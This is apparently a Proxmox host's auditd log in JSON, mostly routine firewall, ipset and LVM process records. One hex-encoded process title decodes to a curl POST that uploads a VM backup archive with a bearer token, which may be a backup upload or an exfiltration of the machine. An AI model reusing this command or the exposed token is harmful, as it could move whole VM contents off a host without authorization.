{"@timestamp":1781965755226,"@rawstring":"node=pve type=PATH msg=audit(1781965755.226:66975): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965834464,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965834.464:67287): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755226,"@rawstring":"node=pve type=PATH msg=audit(1781965755.226:66975): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965834464,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965834.464:67286): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755226,"@rawstring":"node=pve type=PATH msg=audit(1781965755.226:66975): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965834464,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965834.464:67285): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755219,"@rawstring":"node=pve type=PATH msg=audit(1781965755.219:66974): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965833585,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965833.585:67284): proctitle=6375726C002D5800504F5354002D2D646174612D62696E61727900402E2F767A64756D702D71656D752D3837372E746172002D4800417574686F72697A6174696F6E3A20426561726572206635363764616236356638333661343766376163326136333439653637396264306237636633363861353832613838393831386462"} {"@timestamp":1781965755219,"@rawstring":"node=pve type=PATH msg=audit(1781965755.219:66974): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965829456,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965829.456:67283): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755212,"@rawstring":"node=pve type=PATH msg=audit(1781965755.212:66973): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965829456,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965829.456:67282): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755212,"@rawstring":"node=pve type=PATH msg=audit(1781965755.212:66973): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965829456,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965829.456:67281): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755204,"@rawstring":"node=pve type=PATH msg=audit(1781965755.204:66972): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965829447,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965829.447:67280): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755204,"@rawstring":"node=pve type=PATH msg=audit(1781965755.204:66972): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965829447,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965829.447:67279): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755197,"@rawstring":"node=pve type=PATH msg=audit(1781965755.197:66971): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965829447,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965829.447:67278): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755197,"@rawstring":"node=pve type=PATH msg=audit(1781965755.197:66971): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.431:67277): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965755190,"@rawstring":"node=pve type=PATH msg=audit(1781965755.190:66969): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825428,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.428:67276): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965755190,"@rawstring":"node=pve type=PATH msg=audit(1781965755.190:66969): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825427,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.427:67275): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965755183,"@rawstring":"node=pve type=PATH msg=audit(1781965755.183:66968): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825427,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.427:67274): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965755183,"@rawstring":"node=pve type=PATH msg=audit(1781965755.183:66968): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825422,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.422:67273): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965755177,"@rawstring":"node=pve type=PATH msg=audit(1781965755.177:66967): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.414:67272): proctitle=\"ip6tables-save\""} {"@timestamp":1781965755177,"@rawstring":"node=pve type=PATH msg=audit(1781965755.177:66967): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825405,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.405:67271): proctitle=\"iptables-save\""} {"@timestamp":1781965755171,"@rawstring":"node=pve type=PATH msg=audit(1781965755.171:66966): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825399,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.399:67270): proctitle=\"ip6tables-save\""} {"@timestamp":1781965755171,"@rawstring":"node=pve type=PATH msg=audit(1781965755.171:66966): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825391,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.391:67269): proctitle=\"iptables-save\""} {"@timestamp":1781965755165,"@rawstring":"node=pve type=PATH msg=audit(1781965755.165:66965): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825386,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.386:67268): proctitle=\"ebtables-restore\""} {"@timestamp":1781965755165,"@rawstring":"node=pve type=PATH msg=audit(1781965755.165:66965): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825384,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.384:67267): proctitle=\"ebtables-restore\""} {"@timestamp":1781965755158,"@rawstring":"node=pve type=PATH msg=audit(1781965755.158:66964): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.378:67266): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965755158,"@rawstring":"node=pve type=PATH msg=audit(1781965755.158:66964): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825370,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.370:67265): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965755151,"@rawstring":"node=pve type=PATH msg=audit(1781965755.151:66963): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825364,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.364:67264): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965755151,"@rawstring":"node=pve type=PATH msg=audit(1781965755.151:66963): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825357,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.357:67263): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965755142,"@rawstring":"node=pve type=PATH msg=audit(1781965755.142:66962): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.352:67262): proctitle=697073657400726573746F7265"} {"@timestamp":1781965755142,"@rawstring":"node=pve type=PATH msg=audit(1781965755.142:66962): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.344:67261): proctitle=\"ip6tables-save\""} {"@timestamp":1781965755137,"@rawstring":"node=pve type=PATH msg=audit(1781965755.137:66961): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825337,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.337:67260): proctitle=\"iptables-save\""} {"@timestamp":1781965755137,"@rawstring":"node=pve type=PATH msg=audit(1781965755.137:66961): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825332,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.332:67259): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965755134,"@rawstring":"node=pve type=PATH msg=audit(1781965755.134:66960): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825329,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.329:67258): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965755134,"@rawstring":"node=pve type=PATH msg=audit(1781965755.134:66960): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.328:67257): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965755133,"@rawstring":"node=pve type=PATH msg=audit(1781965755.133:66959): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.328:67256): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965755133,"@rawstring":"node=pve type=PATH msg=audit(1781965755.133:66959): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.324:67255): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965755133,"@rawstring":"node=pve type=PATH msg=audit(1781965755.133:66958): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825317,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.317:67254): proctitle=\"ip6tables-save\""} {"@timestamp":1781965755128,"@rawstring":"node=pve type=PATH msg=audit(1781965755.128:66957): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.306:67253): proctitle=\"iptables-save\""} {"@timestamp":1781965755128,"@rawstring":"node=pve type=PATH msg=audit(1781965755.128:66957): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825300,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.300:67252): proctitle=69707365740073617665"} {"@timestamp":1781965755128,"@rawstring":"node=pve type=PATH msg=audit(1781965755.128:66957): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825291,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.291:67251): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965755119,"@rawstring":"node=pve type=PATH msg=audit(1781965755.119:66956): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965825282,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965825.282:67250): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965755119,"@rawstring":"node=pve type=PATH msg=audit(1781965755.119:66956): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965824754,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965824.754:67249): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965755111,"@rawstring":"node=pve type=PATH msg=audit(1781965755.111:66955): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965824727,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965824.727:67248): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965755111,"@rawstring":"node=pve type=PATH msg=audit(1781965755.111:66955): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965824442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965824.442:67247): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755103,"@rawstring":"node=pve type=PATH msg=audit(1781965755.103:66954): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965824442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965824.442:67246): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755103,"@rawstring":"node=pve type=PATH msg=audit(1781965755.103:66954): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965824442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965824.442:67245): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755095,"@rawstring":"node=pve type=PATH msg=audit(1781965755.095:66953): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965824435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965824.435:67244): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755095,"@rawstring":"node=pve type=PATH msg=audit(1781965755.095:66953): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965824435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965824.435:67243): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755086,"@rawstring":"node=pve type=PATH msg=audit(1781965755.086:66952): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965824435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965824.435:67242): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965755086,"@rawstring":"node=pve type=PATH msg=audit(1781965755.086:66952): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965819424,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965819.424:67241): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965754692,"@rawstring":"node=pve type=PATH msg=audit(1781965754.692:66951): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965819424,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965819.424:67240): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965754692,"@rawstring":"node=pve type=PATH msg=audit(1781965754.692:66951): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965819424,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965819.424:67239): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965754655,"@rawstring":"node=pve type=PATH msg=audit(1781965754.655:66950): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965819417,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965819.417:67238): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965754655,"@rawstring":"node=pve type=PATH msg=audit(1781965754.655:66950): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965819417,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965819.417:67237): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965754181,"@rawstring":"node=pve type=PATH msg=audit(1781965754.181:66949): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965819417,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965819.417:67236): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965754181,"@rawstring":"node=pve type=PATH msg=audit(1781965754.181:66949): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815268,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.268:67235): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965754181,"@rawstring":"node=pve type=PATH msg=audit(1781965754.181:66948): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815265,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.265:67234): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965754181,"@rawstring":"node=pve type=PATH msg=audit(1781965754.181:66947): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815264,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.264:67233): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965754174,"@rawstring":"node=pve type=PATH msg=audit(1781965754.174:66946): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815264,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.264:67232): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965754174,"@rawstring":"node=pve type=PATH msg=audit(1781965754.174:66946): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815259,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.259:67231): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965754174,"@rawstring":"node=pve type=PATH msg=audit(1781965754.174:66945): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815251,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.251:67230): proctitle=\"ip6tables-save\""} {"@timestamp":1781965754174,"@rawstring":"node=pve type=PATH msg=audit(1781965754.174:66944): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 